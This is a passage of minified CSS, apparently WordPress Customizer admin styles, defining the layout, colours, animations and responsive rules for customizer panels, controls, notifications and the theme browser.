.accordion-section-title:focus:after,#customize-controls .customize-info .accordion-section-title:hover:after,#customize-controls .customize-info.open .accordion-section-title:after{color:#2c3338}#customize-controls .customize-info .accordion-section-title:after{display:none}#customize-controls .customize-info .preview-notice{font-size:13px;line-height:1.9;margin:0;font-weight:400;color:#50575e}#customize-controls .customize-info .panel-title,#customize-controls .customize-pane-child .customize-section-title h3,#customize-controls .customize-pane-child h3.customize-section-title,#customize-outer-theme-controls .customize-pane-child .customize-section-title h3,#customize-outer-theme-controls .customize-pane-child h3.customize-section-title{font-size:20px;font-weight:200;line-height:26px;display:block;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-section-title span.customize-action{overflow:hidden;white-space:nowrap;text-overflow:ellipsis}#customize-controls .customize-info .customize-help-toggle{position:absolute;top:4px;right:1px;padding:20px 20px 10px 10px;width:20px;height:20px;cursor:pointer;box-shadow:none;background:0 0;color:#50575e;border:none}#customize-controls .customize-info .customize-help-toggle:before{position:absolute;top:5px;left:6px}#customize-controls .customize-info .customize-panel-description,#customize-controls .customize-info .customize-section-description,#customize-controls .no-widget-areas-rendered-notice,#customize-outer-theme-controls .customize-info .customize-section-description{color:#50575e;display:none;background:#fff;padding:12px 15px;border-top:1px solid #dcdcde}#customize-controls .customize-info .customize-panel-description.open+.no-widget-areas-rendered-notice{border-top:none}.no-widget-areas-rendered-notice{font-style:italic}.no-widget-areas-rendered-notice p:first-child{margin-top:0}.no-widget-areas-rendered-notice p:last-child{margin-bottom:0}#customize-controls .customize-info .customize-section-description{margin-bottom:15px}#customize-controls .customize-info .customize-panel-description p:first-child,#customize-controls .customize-info .customize-section-description p:first-child{margin-top:0}#customize-controls .customize-info .customize-panel-description p:last-child,#customize-controls .customize-info .customize-section-description p:last-child{margin-bottom:0}#customize-controls .current-panel .control-section>h3.accordion-section-title{padding-right:30px}#customize-outer-theme-controls .control-section,#customize-theme-controls .control-section{border:none}#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{color:#50575e;background-color:#fff;border-bottom:1px solid #dcdcde;border-left:4px solid #fff;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}#customize-controls .current-panel .control-section>h3.accordion-section-title:has(button.accordion-trigger),.accordion-section-title:has(button.accordion-trigger){padding:0}.accordion-section-title button.accordion-trigger{all:unset;width:100%;padding:10px 30px 11px 14px;display:flex;align-items:center;box-sizing:border-box}.accordion-section-title button.accordion-trigger:has(.menu-in-location){display:block}.accordion-section-title button.accordion-trigger .spinner{margin-top:0}@media (prefers-reduced-motion:reduce){#customize-outer-theme-controls .accordion-section-title,#customize-theme-controls .accordion-section-title{transition:none}}#customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title{color:#50575e;background-color:#fff;border-left:4px solid #fff}#customize-outer-theme-controls .accordion-section-title:after,#customize-theme-controls .accordion-section-title:after{content:"\f345";content:"\f345"/'';color:#a7aaad;pointer-events:none}#customize-outer-theme-controls .accordion-section-content,#customize-theme-controls .accordion-section-content{color:#50575e;background:0 0}#accordion-section-themes+.control-section{border-top:1px solid #dcdcde}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{background:#f6f7f7}#customize-theme-controls .control-section.open{border-bottom:1px solid #f0f0f1}#customize-outer-theme-controls .control-section.open .accordion-section-title,#customize-theme-controls .control-section.open .accordion-section-title{border-bottom-color:#f0f0f1!important}#customize-theme-controls .control-section:last-of-type.open,#customize-theme-controls .control-section:last-of-type>.accordion-section-title{border-bottom-color:#dcdcde}#customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2),#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu,#customize-theme-controls .control-section-nav_menu_locations .accordion-section-title{border-top:1px solid #dcdcde}#customize-theme-controls .control-panel-nav_menus .control-section-nav_menu+.control-section-nav_menu{border-top:none}#customize-theme-controls>ul{margin:0}#customize-theme-controls .accordion-section-content{position:absolute;top:0;left:100%;width:100%;margin:0;padding:12px;box-sizing:border-box}#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{overflow:visible;width:100%;margin:0;padding:0;box-sizing:border-box;transition:.18s transform cubic-bezier(.645, .045, .355, 1)}@media (prefers-reduced-motion:reduce){#customize-info,#customize-theme-controls .customize-pane-child,#customize-theme-controls .customize-pane-parent{transition:none}}#customize-theme-controls .customize-pane-child.skip-transition{transition:none}#customize-info,#customize-theme-controls .customize-pane-parent{position:relative;visibility:visible;height:auto;max-height:none;overflow:auto;transform:none}#customize-theme-controls .customize-pane-child{position:absolute;top:0;left:0;visibility:hidden;height:0;max-height:none;overflow:hidden;transform:translateX(100%)}#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open{transform:none}.in-sub-panel #customize-info,.in-sub-panel #customize-theme-controls .customize-pane-parent,.in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel,.section-open #customize-info,.section-open #customize-theme-controls .customize-pane-parent{visibility:hidden;height:0;overflow:hidden;transform:translateX(-100%)}#customize-theme-controls .customize-pane-child.busy,#customize-theme-controls .customize-pane-child.current-panel,#customize-theme-controls .customize-pane-child.open,.busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel,.in-sub-panel #customize-info.busy,.in-sub-panel #customize-theme-controls .customize-pane-parent.busy,.section-open #customize-info.busy,.section-open #customize-theme-controls .customize-pane-parent.busy{visibility:visible;height:auto;overflow:auto}#customize-theme-controls .customize-pane-child.accordion-section-content,#customize-theme-controls .customize-pane-child.accordion-sub-container{display:block;overflow-x:hidden}#customize-theme-controls .customize-pane-child.accordion-section-content{padding:12px}#customize-theme-controls .customize-pane-child.menu li{position:static}.control-section-nav_menu .customize-section-description-container,.control-section-new_menu .customize-section-description-container,.customize-section-description-container{margin-bottom:15px}.control-section-nav_menu .customize-control,.control-section-new_menu .customize-control{margin-bottom:0}.customize-section-title{margin:-12px -12px 0;border-bottom:1px solid #dcdcde;background:#fff}div.customize-section-description{margin-top:22px}.customize-info div.customize-section-description{margin-top:0}div.customize-section-description p:first-child{margin-top:0}div.customize-section-description p:last-child{margin-bottom:0}#customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{border-bottom:1px solid #dcdcde;padding:12px}.ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child{padding:12px 12px 13px}.customize-section-title h3,h3.customize-section-title{padding:10px 10px 12px 14px;margin:0;line-height:21px;color:#50575e}.accordion-sub-container.control-panel-content{display:none;position:absolute;top:0;width:100%}.accordion-sub-container.control-panel-content.busy{display:block}.current-panel .accordion-sub-container.control-panel-content{width:100%}.customize-controls-close{display:block;position:absolute;top:0;left:0;width:45px;height:41px;padding:0 2px 0 0;background:#f0f0f1;border:none;border-top:4px solid #f0f0f1;border-right:1px solid #dcdcde;color:#3c434a;text-align:left;cursor:pointer;box-sizing:content-box}@media (prefers-reduced-motion:no-preference){.customize-controls-close{transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out}}.customize-panel-back,.customize-section-back{display:block;float:left;width:48px;height:71px;padding:0 24px 0 0;margin:0;background:#fff;border:none;border-right:1px solid #dcdcde;border-left:4px solid #fff;box-shadow:none;cursor:pointer;transition:color .15s ease-in-out,border-color .15s ease-in-out,background .15s ease-in-out}.customize-section-back{height:74px}.ios .customize-panel-back{display:none}.ios .expanded.in-sub-panel .customize-panel-back{display:block}#customize-controls .panel-meta.customize-info .accordion-section-title{margin-left:48px;border-left:none}#customize-controls .cannot-expand:hover .accordion-section-title,#customize-controls .panel-meta.customize-info .accordion-section-title:hover{background:#fff;color:#50575e;border-left-color:#fff}.customize-controls-close:focus,.customize-controls-close:hover,.customize-controls-preview-toggle:focus,.customize-controls-preview-toggle:hover{background:#fff;box-shadow:none;outline:1px solid transparent}#customize-theme-controls .accordion-section-title:focus .customize-action{outline:1px solid transparent;outline-offset:1px}.customize-panel-back:focus,.customize-panel-back:hover,.customize-section-back:focus,.customize-section-back:hover{background:#f6f7f7;box-shadow:none;outline:2px solid transparent;outline-offset:-2px}.customize-controls-close:before{font:normal 22px/45px dashicons;content:"\f335";content:"\f335"/'';position:relative;top:-3px;left:13px}.customize-panel-back:before,.customize-section-back:before{font:normal 20px/72px dashicons;content:"\f341";content:"\f341"/'';position:relative;left:9px}.wp-full-overlay-sidebar .wp-full-overlay-header{background-color:#f0f0f1;transition:padding ease-in-out .18s}.in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header{padding-left:62px}p.customize-section-description{font-style:normal;margin-top:22px;margin-bottom:0}.customize-section-description ul{margin-left:1em}.customize-section-description ul>li{list-style:disc}.section-description-buttons{text-align:right}.customize-control{width:100%;float:left;clear:both;margin-bottom:12px}.customize-control input[type=email],.customize-control input[type=number],.customize-control input[type=password],.customize-control input[type=range],.customize-control input[type=search],.customize-control input[type=tel],.customize-control input[type=text],.customize-control input[type=url]{width:100%;margin:0}.customize-control-hidden{margin:0}.customize-control-textarea textarea{width:100%;resize:vertical}.customize-control select{width:100%}.customize-control select[multiple]{height:auto}.customize-control-title{display:block;font-size:14px;line-height:1.75;font-weight:600;margin-bottom:4px}.customize-control-description{display:block;font-style:italic;line-height:1.4;margin-top:0;margin-bottom:5px}.customize-section-description a.external-link:after{font:16px/11px dashicons;content:"\f504";content:"\f504"/'';top:3px;position:relative;padding-left:3px;display:inline-block;text-decoration:none}.customize-control-color .color-picker,.customize-control-upload div{line-height:28px}.customize-control .customize-inside-control-row{line-height:1.6;display:block;margin-left:24px;padding-top:6px;padding-bottom:6px}.customize-control-checkbox input,.customize-control-nav_menu_auto_add input,.customize-control-radio input{margin-right:4px;margin-left:-24px}.customize-control-radio{padding:5px 0 10px}.customize-control-radio .customize-control-title{margin-bottom:0;line-height:1.6}.customize-control-radio .customize-control-title+.customize-control-description{margin-top:7px}.customize-control-checkbox label,.customize-control-radio label{vertical-align:top}.customize-control .attachment-thumb.type-icon{float:left;margin:10px;width:auto}.customize-control .attachment-title{font-weight:600;margin:0;padding:5px 10px}.customize-control .attachment-meta{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin:0;padding:0 10px}.customize-control .attachment-meta-title{padding-top:7px}.customize-control .thumbnail-image,.customize-control .wp-media-wrapper.wp-video,.customize-control-header .current{line-height:0}.customize-control .thumbnail-image img{cursor:pointer}#customize-controls .thumbnail-audio .thumbnail{max-width:64px;max-height:64px;margin:10px;float:left}#available-menu-items .accordion-section-content .new-content-item-wrapper,.customize-control-dropdown-pages .new-content-item-wrapper{width:calc(100% - 30px);padding:8px 15px;position:absolute;bottom:0;z-index:10;background:#f0f0f1}.customize-control-dropdown-pages .new-content-item-wrapper{width:100%;padding:0;position:static}#available-menu-items .new-content-item-wrapper>label,.customize-control-dropdown-pages .new-content-item-wrapper>label{margin-bottom:4px;display:block}#available-menu-items .accordion-section-content .new-content-item,.customize-control-dropdown-pages .new-content-item{display:flex}.customize-control-dropdown-pages .new-content-item{width:100%;padding:5px 0 5px 1px;position:relative}.customize-control-dropdown-pages .new-content-item-wrapper .new-content-item{padding:0}.customize-control-dropdown-pages .new-content-item-wrapper .new-content-item label{line-height:1.6}#available-menu-items .new-content-item .create-item-input,.customize-control-dropdown-pages .new-content-item .create-item-input{flex-grow:10;width:100%}#available-menu-items .new-content-item .create-item-input{min-height:32px;line-height:2.15384615}#available-menu-items .new-content-item .add-content,.customize-control-dropdown-pages .new-content-item .add-content{margin:0 0 0 6px;flex-grow:1}#available-menu-items .new-content-item .add-content{min-height:32px;line-height:2.30769231}.customize-control-dropdown-pages .new-content-item .create-item-input.invalid{border:1px solid #d63638}.customize-control-dropdown-pages .add-new-toggle{margin-left:1px;font-weight:600;line-height:2.2}#customize-preview iframe{width:100%;height:100%;position:absolute}#customize-preview iframe+iframe{visibility:hidden}.wp-full-overlay-sidebar{background:#f0f0f1;border-right:1px solid #dcdcde}#customize-controls .customize-control-notifications-container{margin:4px 0 8px;padding:0;cursor:default}#customize-controls .customize-control-widget_form.has-error .widget .widget-top,.customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle{box-shadow:inset 0 0 0 2px #d63638;transition:.15s box-shadow linear}#customize-controls .customize-control-notifications-container li.notice{list-style:none;margin:0 0 6px;padding:9px 14px;overflow:hidden}#customize-controls .customize-control-notifications-container .notice.is-dismissible{padding-right:38px}.customize-control-notifications-container li.notice:last-child{margin-bottom:0}#customize-controls .customize-control-nav_menu_item .customize-control-notifications-container{margin-top:0}#customize-controls .customize-control-widget_form .customize-control-notifications-container{margin-top:8px}.customize-control-text.has-error input{outline:2px solid #d63638}#customize-controls #customize-notifications-area{position:absolute;top:46px;width:100%;border-bottom:1px solid #dcdcde;display:block;padding:0;margin:0}.wp-full-overlay.collapsed #customize-controls #customize-notifications-area{display:none!important}#customize-controls #customize-notifications-area:not(.has-overlay-notifications),#customize-controls .customize-section-title>.customize-control-notifications-container:not(.has-overlay-notifications),#customize-controls .panel-meta>.customize-control-notifications-container:not(.has-overlay-notifications){max-height:210px;overflow-x:hidden;overflow-y:auto}#customize-controls #customize-notifications-area .notice,#customize-controls #customize-notifications-area>ul,#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container .notice{margin:0}#customize-controls .customize-section-title>.customize-control-notifications-container,#customize-controls .panel-meta>.customize-control-notifications-container{border-top:1px solid #dcdcde}#customize-controls #customize-notifications-area .notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice{padding:9px 14px}#customize-controls #customize-notifications-area .notice.is-dismissible,#customize-controls .customize-section-title>.customize-control-notifications-container .notice.is-dismissible,#customize-controls .panel-meta>.customize-control-notifications-container .notice.is-dismissible{padding-right:38px}#customize-controls #customize-notifications-area .notice+.notice,#customize-controls .customize-section-title>.customize-control-notifications-container .notice+.notice,#customize-controls .panel-meta>.customize-control-notifications-container .notice+.notice{margin-top:1px}@keyframes customize-fade-in{0%{opacity:0}100%{opacity:1}}#customize-controls #customize-notifications-area .notice.notification-overlay,#customize-controls .notice.notification-overlay{margin:0;border-left:0}#customize-controls .customize-control-notifications-container.has-overlay-notifications{animation:customize-fade-in .5s;z-index:30}#customize-controls #customize-notifications-area .notice.notification-overlay .notification-message{clear:both;color:#1d2327;font-size:18px;font-style:normal;margin:0;padding:2em 0;text-align:center;width:100%;display:block;top:50%;position:relative}#customize-control-show_on_front.has-error{margin-bottom:0}#customize-control-show_on_front.has-error .customize-control-notifications-container{margin-top:12px}.accordion-section .dropdown{float:left;display:block;position:relative;cursor:pointer}.accordion-section .dropdown-content{overflow:hidden;float:left;min-width:30px;height:16px;line-height:16px;margin-right:16px;padding:4px 5px;border:2px solid #f0f0f1;-webkit-user-select:none;user-select:none}.customize-control .dropdown-arrow{position:absolute;top:0;bottom:0;right:0;width:20px;background:#f0f0f1}.customize-control .dropdown-arrow:after{content:"\f140";content:"\f140"/'';font:normal 20px/1 dashicons;display:block;padding:0;text-indent:0;text-align:center;position:relative;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#2c3338}.customize-control .dropdown-status{color:#2c3338;background:#f0f0f1;display:none;max-width:112px}.customize-control-color .dropdown{margin-right:5px;margin-bottom:5px}.customize-control-color .dropdown .dropdown-content{background-color:#50575e;border:1px solid rgba(0,0,0,.15)}.customize-control-color .dropdown:hover .dropdown-content{border-color:rgba(0,0,0,.25)}.ios .wp-full-overlay{position:relative}.ios #customize-controls .wp-full-overlay-sidebar-content{-webkit-overflow-scrolling:touch}.customize-control .actions .button{margin-top:12px}.customize-control-header .actions,.customize-control-header .uploaded{margin-bottom:18px}.customize-control-header .default button:not(.random),.customize-control-header .uploaded button:not(.random){width:100%;padding:0;margin:0;background:0 0;border:none;color:inherit;cursor:pointer}.customize-control-header button img{display:block}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control .attachment-media-view .upload-button,.customize-control-header button.new,.customize-control-header button.remove{width:auto;height:auto;white-space:normal}.customize-control .attachment-media-view .upload-button{width:100%;text-align:center}.customize-control .attachment-media-view .upload-button.control-focus{width:auto}.customize-control.customize-control-header .actions .upload-button.button.new{width:100%;text-align:center}.customize-control .attachment-media-view .thumbnail,.customize-control-header .current .container{overflow:hidden}.customize-control .attachment-media-view .button-add-media,.customize-control .attachment-media-view .placeholder,.customize-control-header .placeholder{width:100%;position:relative;text-align:center;cursor:default;border:1px dashed #c3c4c7;box-sizing:border-box;padding:9px 0;line-height:1.6}.customize-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.customize-control .attachment-media-view .button-add-media:hover{background-color:#fff}.customize-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-color:#3582c4;border-style:solid;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.customize-control-header .inner{display:none;position:absolute;width:100%;color:#50575e;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.customize-control-header .inner,.customize-control-header .inner .dashicons{line-height:20px;top:8px}.customize-control-header .list .inner,.customize-control-header .list .inner .dashicons{top:9px}.customize-control-header .header-view{position:relative;width:100%;margin-bottom:12px}.customize-control-header .header-view:last-child{margin-bottom:0}.customize-control-header .header-view:after{border:0}.customize-control-header .header-view.selected .choice:focus{outline:0}.customize-control-header .header-view.selected:after{content:"";position:absolute;height:auto;top:0;left:0;bottom:0;right:0;border:4px solid #72aee6;border-radius:2px}.customize-control-header .header-view.button.selected{border:0}.customize-control-header .uploaded .header-view .close{font-size:20px;color:#fff;background:#50575e;background:rgba(0,0,0,.5);position:absolute;top:10px;left:-999px;z-index:1;width:26px;height:26px;cursor:pointer}.customize-control-header .header-view .close:focus,.customize-control-header .header-view:hover .close{left:auto;right:10px}.customize-control-header .header-view .close:focus{outline:1px solid #4f94d4}.customize-control-header .random.placeholder{cursor:pointer;border-radius:2px;height:40px}.customize-control-header button.random{width:100%;height:auto;min-height:40px;white-space:normal}.customize-control-header button.random .dice{margin-top:0}.customize-control-header .header-view:hover>button.random .dice,.customize-control-header .placeholder:hover .dice{animation:dice-color-change 3s infinite}.button-see-me{animation:bounce .7s 1;transform-origin:center bottom}@keyframes bounce{20%,53%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-12px,0)}70%{animation-timing-function:cubic-bezier(0.755,0.050,0.855,0.060);transform:translate3d(0,-6px,0)}90%{transform:translate3d(0,-1px,0)}}.customize-control-header .choice{position:relative;display:block;margin-bottom:9px}.customize-control-header .choice:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.customize-control-header .uploaded div:last-child>.choice{margin-bottom:0}.customize-control .attachment-media-view .thumbnail-image img,.customize-control-header img{max-width:100%}.customize-control .attachment-media-view .default-button,.customize-control .attachment-media-view .remove-button,.customize-control-header .remove{margin-right:8px}.customize-control-background_position .background-position-control .button-group{display:block}.customize-control-code_editor textarea{width:100%;font-family:Consolas,Monaco,monospace;font-size:12px;padding:6px 8px;tab-size:2}.customize-control-code_editor .CodeMirror,.customize-control-code_editor textarea{height:14em}#customize-controls .customize-section-description-container.section-meta.customize-info{border-bottom:none}#sub-accordion-section-custom_css .customize-control-notifications-container{margin-bottom:15px}#customize-control-custom_css textarea{display:block;height:500px}.customize-section-description-container+#customize-control-custom_css .customize-control-title{margin-left:12px}.customize-section-description-container+#customize-control-custom_css:last-child textarea{border-right:0;border-left:0;height:calc(100vh - 185px);resize:none}.customize-section-description-container+#customize-control-custom_css:last-child{margin-left:-12px;width:299px;width:calc(100% + 24px);margin-bottom:-12px}.customize-section-description-container+#customize-control-custom_css:last-child .CodeMirror{height:calc(100vh - 185px)}.CodeMirror-hints,.CodeMirror-lint-tooltip{z-index:500000!important}.customize-section-description-container+#customize-control-custom_css:last-child .customize-control-notifications-container{margin-left:12px;margin-right:12px}.theme-browser .theme.active .theme-actions,.wp-customizer .theme-browser .theme .theme-actions{padding:9px 15px}.theme-browser .theme:not(.active) .theme-actions{box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}@media screen and (max-width:640px){.customize-section-description-container+#customize-control-custom_css:last-child{margin-right:0}.customize-section-description-container+#customize-control-custom_css:last-child textarea{height:calc(100vh - 140px)}}#customize-theme-controls .control-panel-themes{border-bottom:none}#customize-theme-controls .control-panel-themes>.accordion-section-title,#customize-theme-controls .control-panel-themes>.accordion-section-title:hover{cursor:default;background:#fff;color:#50575e;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;border-left:none;border-right:none;margin:0 0 15px;padding:12px 100px 15px 15px}#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child,#customize-theme-controls .control-section-themes .customize-themes-panel .accordion-section-title:first-child:hover{border-top:0}#customize-theme-controls .control-section-themes>.accordion-section-title,#customize-theme-controls .control-section-themes>.accordion-section-title:hover{margin:0 0 15px}#customize-controls .customize-themes-panel .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title:hover{margin:15px -8px}#customize-controls .control-section-themes .accordion-section-title,#customize-controls .customize-themes-panel .accordion-section-title{padding-right:100px}#customize-controls .control-section-themes .accordion-section-title span.customize-action,#customize-controls .customize-section-title span.customize-action,.control-panel-themes .accordion-section-title span.customize-action{font-size:13px;display:block;font-weight:400}#customize-theme-controls .control-panel-themes .accordion-section-title .change-theme{position:absolute;right:10px;top:50%;margin-top:-20px;font-weight:400}#customize-notifications-area .notification-message button.switch-to-editor{display:block;margin-top:6px;font-weight:400}#customize-theme-controls .control-panel-themes>.accordion-section-title:after{display:none}.control-panel-themes .customize-themes-full-container{position:fixed;top:0;left:0;transition:.18s left ease-in-out;margin:0 0 0 300px;padding:71px 0 25px;overflow-y:scroll;width:calc(100% - 300px);height:calc(100% - 96px);background:#f0f0f1;z-index:20}@media (prefers-reduced-motion:reduce){.control-panel-themes .customize-themes-full-container{transition:none}}@media screen and (min-width:1670px){.control-panel-themes .customize-themes-full-container{width:82%;right:0;left:initial}}.modal-open .control-panel-themes .customize-themes-full-container{overflow-y:visible}#customize-header-actions .customize-controls-preview-toggle,#customize-header-actions .spinner,#customize-save-button-wrapper{transition:.18s margin ease-in-out}#customize-footer-actions,#customize-footer-actions .collapse-sidebar{bottom:0;transition:.18s bottom ease-in-out}.in-themes-panel:not(.animating) #customize-footer-actions,.in-themes-panel:not(.animating) #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel:not(.animating) #customize-header-actions .spinner,.in-themes-panel:not(.animating) #customize-preview{visibility:hidden}.wp-full-overlay.in-themes-panel{background:#f0f0f1}.in-themes-panel #customize-header-actions .customize-controls-preview-toggle,.in-themes-panel #customize-header-actions .spinner,.in-themes-panel #customize-save-button-wrapper{margin-top:-46px}.in-themes-panel #customize-footer-actions,.in-themes-panel #customize-footer-actions .collapse-sidebar{bottom:-45px}.in-themes-panel.animating .control-panel-themes .filter-themes-count{display:none}.in-themes-panel.wp-full-overlay .wp-full-overlay-sidebar-content{bottom:0}.themes-filter-bar .feature-filter-toggle{min-height:32px;line-height:2.30769231}.themes-filter-bar .feature-filter-toggle:before{content:"\f111";content:"\f111"/'';margin:0 5px 0 0;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.themes-filter-bar .feature-filter-toggle.open{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.themes-filter-bar .feature-filter-toggle .filter-count-filters{display:none}.filter-drawer{box-sizing:border-box;width:100%;position:absolute;top:46px;left:0;padding:25px 0 25px 25px;border-top:0;margin:0;background:#f0f0f1;border-bottom:1px solid #dcdcde}.filter-drawer .filter-group{margin:0 25px 0 0;width:calc((100% - 75px)/ 3);min-width:200px;max-width:320px}@keyframes themes-fade-in{0%{opacity:0}50%{opacity:0}100%{opacity:1}}.control-panel-themes .customize-themes-full-container.animate{animation:.6s themes-fade-in 1}.in-themes-panel:not(.animating) .control-panel-themes .filter-themes-count{animation:.6s themes-fade-in 1}.control-panel-themes .filter-themes-count .themes-displayed{font-weight:600;color:#50575e}.customize-themes-notifications{margin:0}.control-panel-themes .customize-themes-notifications .notice{margin:0 0 25px}.customize-themes-full-container .customize-themes-section{display:none!important;overflow:hidden}.customize-themes-full-container .customize-themes-section.current-section{display:list-item!important}.control-section .customize-section-text-before{padding:0 0 8px 15px;margin:15px 0 0;line-height:16px;border-bottom:1px solid #dcdcde;color:#50575e}.control-panel-themes .customize-themes-section-title{width:100%;background:#fff;box-shadow:none;outline:0;border-top:none;border-bottom:1px solid #dcdcde;border-left:4px solid #fff;border-right:none;cursor:pointer;padding:10px 15px;position:relative;text-align:left;font-size:14px;font-weight:600;color:#50575e;text-shadow:none}.control-panel-themes #accordion-section-installed_themes{border-top:1px solid #dcdcde}.control-panel-themes .theme-section{margin:0;position:relative}.control-panel-themes .customize-themes-section-title:focus,.control-panel-themes .customize-themes-section-title:hover{background:#f6f7f7}.customize-themes-section-title:not(.selected):after{content:"";display:block;position:absolute;top:9px;right:15px;width:18px;height:18px;border-radius:100%;border:1px solid #c3c4c7;background:#fff}.control-panel-themes .theme-section .customize-themes-section-title.selected:after{content:"\f147";content:"\f147"/'';font:16px/1 dashicons;box-sizing:border-box;width:20px;height:20px;padding:3px 3px 1px 1px;border-radius:100%;position:absolute;top:9px;right:15px;color:#fff}#customize-theme-controls .themes.accordion-section-content{position:relative;left:0;padding:0;width:100%}.loading .customize-themes-section .spinner{display:block;visibility:visible;position:relative;clear:both;width:20px;height:20px;left:calc(50% - 10px);float:none;margin-top:50px}.customize-themes-section .no-themes,.customize-themes-section .no-themes-local{display:none}.themes-section-installed_themes .theme .notice-success:not(.updated-message){display:none}.customize-control-theme .theme{width:100%;margin:0;border:1px solid #dcdcde;background:#fff}.customize-control-theme .theme .theme-actions,.customize-control-theme .theme .theme-name{background:#fff;border:none}.customize-control.customize-control-theme{box-sizing:border-box;width:25%;max-width:600px;margin:0 25px 25px 0;padding:0;clear:none}@media screen and (min-width:2101px){.customize-control.customize-control-theme{width:calc((100% - 125px)/ 5 - 1px)}}@media screen and (min-width:1601px) and (max-width:2100px){.customize-control.customize-control-theme{width:calc((100% - 100px)/ 4 - 1px)}}@media screen and (min-width:1201px) and (max-width:1600px){.customize-control.customize-control-theme{width:calc((100% - 75px)/ 3 - 1px)}}@media screen and (min-width:851px) and (max-width:1200px){.customize-control.customize-control-theme{width:calc((100% - 50px)/ 2 - 1px)}}@media screen and (max-width:850px){.customize-control.customize-control-theme{width:100%}}.wp-customizer .theme-browser .themes{padding:0 0 25px 25px;transition:.18s margin-top linear}.wp-customizer .theme-browser .theme .theme-actions{opacity:1}#customize-controls h3.theme-name{font-size:15px}#customize-controls .theme-overlay .theme-name{font-size:32px}.customize-preview-header.themes-filter-bar{position:fixed;top:0;left:300px;width:calc(100% - 300px);height:46px;background:#f0f0f1;z-index:10;padding:6px 25px;box-sizing:border-box;border-bottom:1px solid #dcdcde}.customize-preview-header.themes-filter-bar,.customize-preview-header.themes-filter-bar .search-form{display:flex;align-items:center;gap:10px;flex-wrap:wrap}.customize-preview-header.themes-filter-bar .search-form-input{position:relative}.customize-preview-header .filter-themes-wrapper{display:grid;align-items:center;gap:10px;grid-template-columns:auto 1fr}.customize-preview-header .filter-themes-wrapper .filter-themes-count{justify-self:end}@media screen and (min-width:1670px){.customize-preview-header.themes-filter-bar{width:82%;right:0;left:initial}}.themes-filter-bar .themes-filter-container{margin:0;padding:0;display:flex;align-items:center;gap:10px}.themes-filter-bar .wp-filter-search{padding:0 10px 0 30px;max-width:100%;width:40%;min-width:300px;height:32px;min-height:32px;margin:1px 0;top:0;left:0}@media screen and (max-height:540px),screen and (max-width:1018px){.customize-preview-header.themes-filter-bar{position:relative;left:0;width:100%;margin:0 0 25px}.filter-drawer{top:46px}.wp-customizer .theme-browser .themes{padding:0 0 25px 25px;overflow:hidden}.control-panel-themes .customize-themes-full-container{margin-top:0;padding:0;height:100%;width:calc(100% - 300px)}}@media screen and (max-width:1018px){.filter-drawer .filter-group{width:calc((100% - 50px)/ 2)}}@media screen and (max-width:960px){.customize-preview-header.themes-filter-bar{height:96px}}@media screen and (max-width:900px){.themes-filter-bar .wp-filter-search{width:100%;margin:0;min-width:200px}.customize-preview-header.themes-filter-bar,.customize-preview-header.themes-filter-bar .search-form .themes-filter-bar .themes-filter-container{display:grid;gap:4px}.customize-preview-header.themes-filter-bar .search-form-input{display:flex;flex-grow:1}.filter-drawer{top:86px}.control-panel-themes .filter-themes-count{float:left}}@media screen and (max-width:792px){.filter-drawer .filter-group{width:calc(100% - 25px)}}.control-panel-themes .customize-themes-mobile-back{display:none}@media screen and (max-width:600px){.filter-drawer{top:132px}.wp-full-overlay.showing-themes .control-panel-themes .filter-themes-count .filter-themes{display:block;float:right}.control-panel-themes .customize-themes-full-container{width:100%;margin:0;padding-top:46px;height:calc(100% - 46px);z-index:1;display:none}.showing-themes .control-panel-themes .customize-themes-full-container{display:block}.wp-customizer .showing-themes .control-panel-themes .customize-themes-mobile-back{display:block;position:fixed;top:0;left:0;background:#f0f0f1;color:#3c434a;border-radius:0;box-shadow:none;border:none;height:46px;width:100%;z-index:10;text-align:left;text-shadow:none;border-bottom:1px solid #dcdcde;border-left:4px solid transparent;margin:0;padding:0;font-size:0;overflow:hidden}.wp-customizer .showing-themes .control-panel-themes 